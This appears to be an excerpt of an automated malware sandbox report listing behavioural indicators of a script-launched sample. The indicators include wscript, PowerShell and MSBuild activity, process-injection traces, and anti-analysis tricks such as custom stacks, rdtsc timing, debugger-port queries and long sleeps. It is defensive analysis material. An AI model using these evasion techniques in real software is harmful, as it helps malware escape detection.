Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D60B2C push eax; ret	0_2_02D60B2E
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D58CEB push ebx; retf	0_2_02D58CEC
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D52480 push D15B7034h; iretd	0_2_02D52485
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D5199D pushad ; iretd	0_2_02D519A4
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D509A6 push ebx; retf	0_2_02D509A7
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C33062 push eax; ret	0_2_0000023761C33064
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C243F8 push 49D01C01h; retf	0_2_0000023761C2445E
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C2239B push cs; iretd	0_2_0000023761C2239D
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C337A4 pushad ; iretd	0_2_0000023761C337A5
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C23F64 push edx; retf	0_2_0000023761C23F69
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C33789 pushad ; iretd	0_2_0000023761C33791
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C22EDC push ebx; retf	0_2_0000023761C22EDD
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C23ED3 pushad ; iretd	0_2_0000023761C23EDA
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C2CE18 push 00000046h; iretd	0_2_0000023761C2CE14
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C2B221 push ebx; retf	0_2_0000023761C2B222
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C249B6 push D15B7034h; iretd	0_2_0000023761C249BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00401833 push ebp; iretd	9_2_00401834
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040508F push ecx; iretd	9_2_00405093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004048A6 push ecx; retf	9_2_004048B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00418968 push es; iretd	9_2_0041896F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004031F0 push eax; ret	9_2_004031F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00408240 push ebx; iretd	9_2_0040824E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004142B5 push ebx; retf	9_2_004142B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00417378 push cs; retf	9_2_004173AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00414308 push DCF7C235h; retn DCF7h	9_2_004143BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040430B push ss; ret	9_2_0040430D

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API/Special instruction interceptor: Address: 7FFE22210774
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API/Special instruction interceptor: Address: 7FFE2220D8A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API/Special instruction interceptor: Address: 7FFE2220DA44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE22210774
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D8A4
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220DA44
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_013D096E rdtsc

9_2_013D096E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1983	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 553	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4129	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5645	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Window / User API: threadDelayed 6021	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Window / User API: threadDelayed 3951	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\choice.exe	API coverage: 2.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep count: 4129 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 5645 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 8148	Thread sleep count: 6021 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 8148	Thread sleep time: -12042000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 8148	Thread sleep count: 3951 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 8148	Thread sleep time: -7902000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\choice.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\choice.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\choice.exe

Code function: 10_2_02B1C9D0 FindFirstFileW,FindNextFileW,FindClose,

10_2_02B1C9D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2389543685.000002375F147000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389360512.000002375F128000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398310964.000002375F14C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389226631.000002375F123000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398543416.0000023761264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)$
Source: firefox.exe, 0000000B.00000002.2494060682.000001BADB9CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Program Files\Mozilla Firefox\firefox.exe

API call chain: ExitProcess graph end node

graph_11-5219

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_013D096E rdtsc

9_2_013D096E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00417B53 LdrLoadDll,

9_2_00417B53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01424144 mov eax, dword ptr fs:[00000030h]	9_2_01424144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01424144 mov eax, dword ptr fs:[00000030h]	9_2_01424144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01424144 mov ecx, dword ptr fs:[00000030h]	9_2_01424144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01424144 mov eax, dword ptr fs:[00000030h]	9_2_01424144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01424144 mov eax, dword ptr fs:[00000030h]	9_2_01424144
